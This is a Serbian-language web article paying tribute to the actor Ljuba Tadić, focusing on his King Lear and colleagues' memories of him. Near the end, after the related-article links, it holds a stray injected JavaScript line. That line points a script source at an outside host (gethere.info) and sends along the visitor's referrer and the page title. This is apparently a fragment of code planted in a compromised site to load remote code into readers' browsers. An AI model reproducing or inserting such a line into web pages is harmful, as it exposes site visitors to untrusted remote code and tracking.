MOĆNI ŠAPAT LJUBE TADIĆA: Glumac koji je “dopisivao” Šekspira onako kako njemu odgovara

MOĆNI ŠAPAT LJUBE TADIĆA: Glumac koji je “dopisivao” Šekspira onako kako njemu odgovara


Čak tri puta u karijeri odigrao je tog Kralja Lira, a igrao ga je tako da niste znali ko je tu Ljuba a ko Lir. Sergej Trifunović: Godinama je bio bolestan, ruke su mu se tresle, jedva je hodao. Osim kad je na sceni – tu se sva ta drhtavost slivala u moćni šapat koji nije odražavao njegovu slabost i bolest, već nespokojstvo Šekspirovog lika

Legenda srpskog i jugoslovenskog glumišta, glumac starog kova, upečatljivog izgleda i još stamenitijeg glasa, Ljuba Tadić, ostvario je veliki broj nezaboravnih filmskih i televizijskih uloga, ali je pre svega ostao upamćen kao pozorišni glumac, bard sa dasaka.

Prva ratna uloga sa 15 godina

Rođen 3. maja 1929.godine u Uroševcu, gde je njegov otac radio kao profesor istorije u gimnaziji, Tadić je na sceni teatra “Joakim Vujić” u Kragujevcu debitovao još 1944. godine, sa nepunih 15 godina.

Ljuba-Tadić-2-CustomKasnije, na tek osnovanoj Pozorišnoj akademiji u Beogradu, Ljuba je diplomirao 1953.godine, u klasi profesora Joze Laurenčića. U toj prvoj posleratnoj generaciji, pored Ljube, bili su i Rade i Olivera Marković, Slobodan – Cica Perović, Stojan Dečermić i Bora Todorović.

Igrao je na svim prestoničkim scenama: u Beogradskom dramskom, Jugoslovenskom dramskom i Narodnom pozorištu, Ateljeu 212… Godine 1983. osnovao je i vodio alternativno pozorište “Magaza” sa suprugom Snežanom Nikšić, a 1990. godine sa glumcem Radetom Šerbedžijom pokrenuo je privatni teatar Preduzeće za pozorišne poslove (PPP).

U karijeri je snimio oko sedamdeset filmova, osvojio je četiri pulske zlatne Arene, ali je bio je neprikosnoven u klasičnom teatru, ostavivši za sobom više od 150 uloga. Bio je nezamenljivi Kralj Lir, Sokrat, Otelo, igrao je Vladimira u prvoj postavci “Čekajući Godoa” u Beogradu, 1956.godine, u tek osnovanom Ateljeu 212. U tom pozorištu ostvario je i svoju poslednju ulogu, Kralja Lira.

Kralj Lir kao sudbina

Čak tri puta u karijeri odigrao je tog Šekspirovog junaka, koji se smatra jednom od najvećih uloga svetskog dramskog repertoara, što je vrhunski poduhvat i u kontekstu mnogo širem od ovog našeg, malog, lokalnog.

Uz činjenicu da je ovaj veliki glumac čijih se reči sa časa retorike na Pravnom fakultetu, kod profesora Obrada Stanojevića, još sećam:

“Nikada ja ne bih bio glumac da mi majka nije rodila ovol’ke oči!”

Tog poslednjeg Tadićevog Lira režrao je Tomi Janežič, a uz njega su igrali i Vlastimir Đuza Stojiljković, Tihomir Stanić, Radmila Tomović, Anita Mančić, Bojan Žirović, Nenad Jezdić, Nenad Ćirić, Nebojša Ilić i Sergej Trifunović.

Sergej Trifunović se još živo seća ove predstave:

– Samo par meseci pre nego što će nas napustiti zauvek imao sam tu retku privilegiju za mladog glumca da stojimo na istoj sceni, ni manje ni više nego u „Kralju Liru“, koga je Ljuba igrao po treći put, kaže Sergej i ističe:

Ležerno dopisivanje Šekspira

– Po sopstvenom priznanju, prva dva puta ga je igrao neuspešno. Neuspešno?! A tada je konačno bio u godinama koje mu je veliki tvorac Vilijem Šekspir i dao. Kad nismo imali scenu, tiskali smo se u portalu da vidimo kako izgovara: “Ja sam čovek od sedamdeset i šest leta, ni manje, ni više…”, napominje Trifunović i dodaje:

Sergej Trifunović

Sergej Trifunović

– Sećam se da sam, kad sam prvi put to čuo, pomislio: da li je moguće da ovaj čovek toliko ležerno dopisuje i sebi prilagođava i Vilijema Šekspira. Pošto je Ljuba u tom trenutku imao sedamdeset i šest godina, ni manje, ni više. A onda sam pomislio: ako je i tako – u redu je. To mu i pripada… E, a onda sam se sasvim zbunio kad sam taj stih pronašao u originalnoj drami…

Prema Sergejevim rečima Tadić je na sceni ostao moćan do poslednjeg trenutka:

– Godinama je već bio jako bolestan, ruke su mu se tresle, jedva je hodao. Osim kad je na sceni – tu se sva ta drhtavost slivala u glas, u taj moćni šapat, a taj neki tremolo nije odražavao fizičku slabost i bolest Ljube Tadića, već uznemirenost i nespokojstvo Kralja Lira. Svu Lirovu bol i muku nad rasparačnom zemljom, mržnjom i prezirom podanika, borbom s ludilom, u koje je sam sebe gurnuo. Od nemoći da prizna neljubav i poniženje dveju kćeri kojima je sve ostavio i ljubav jedine koju je kaznio, jer tu ljubav nije umela da transparentno pokaže, ne njemu, već dvoru, naglašava Sergej.

Okat, glavat i izuzetan

Tihomir Stanić na drugi način pamti Tadićevu posebnost:

Tihomir Stanić

Tihomir Stanić

– On je zaita bio u svakom pogledu izuzetan, nije to slučajno. Ljuba Tadić je stvarno bio kralj i neprikosnoveni vladar ovog našeg sveta glumačkog. I ja se sećam kada je kod nas došao pre 30 i nešto godina na Akademiju, doveo ga je profesor Dejan Mijač. Pričao nam je tada da je poslednji iz vremena i epohe kad su glumci tako izgledali. Okati, glavati… i da sad dolazi vreme ovih neuglednih, koje ne bi imenovao, koji samo vladaju tehnikom. Da je on jedan od poslednjih za koga i u sredinama gde ga ne poznaju svi gledaju u njega zato što ima takav glas, takve oči i tako izleda. To je on nama rekao na prvoj godini glume, objasnio je Stanić.

Sergej Trifunović se seća da su Tadićevu darovitost priznavale i ostale kolege:

– Sećam se da sam jednom pitao Miru Stupicu kakav je bio Ljuba, a ona mi kaže: “Ljuba..? Ljuba je imao…tu neku maglu oko glave...” i tu je zaćutala, nije imala više šta da mi kaže, a sve mi je rekla…E, ja sam tu maglu video, bila je jača od sve one koju su scenski majstori, kad je trebalo, puštali na scenu. Ili je to bila čiate magija, a ne magla? zaključuje Trifunović.

Tadiće je više od pet stotina puta nastupio u čuvenoj “Odbrani Sokratovoj i smrti“, koja je bila jedna od predstava koje su obeležile gotovo šest decenija dugu karijeru.

Preminuo je 28.oktobra 2005. godine, samo dvadesetak minuta od rastanka sa svojim prijateljim u omiljenom restoranu “Madera”, gde je decenijama svakodnevno navraćao. Sahranjen je u Aleji velikana na beogradskom Novom groblju.

Velika scena Jugoslovenskog Dramskog pozorišta danas nosi ime Ljube Tadića.

PROČITAJTE JOŠ:
INTERVJU, JANKETIĆ: Kako sam glumeći vojvodu Mišića zaradio Karađorđevu zvezdu
MERILIN ŽIVI ZAUVEK: Besmrtna lepota najvećeg seks simbola (FOTO)
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

1 comment

Dodajte komentar

+ Ostavite komentar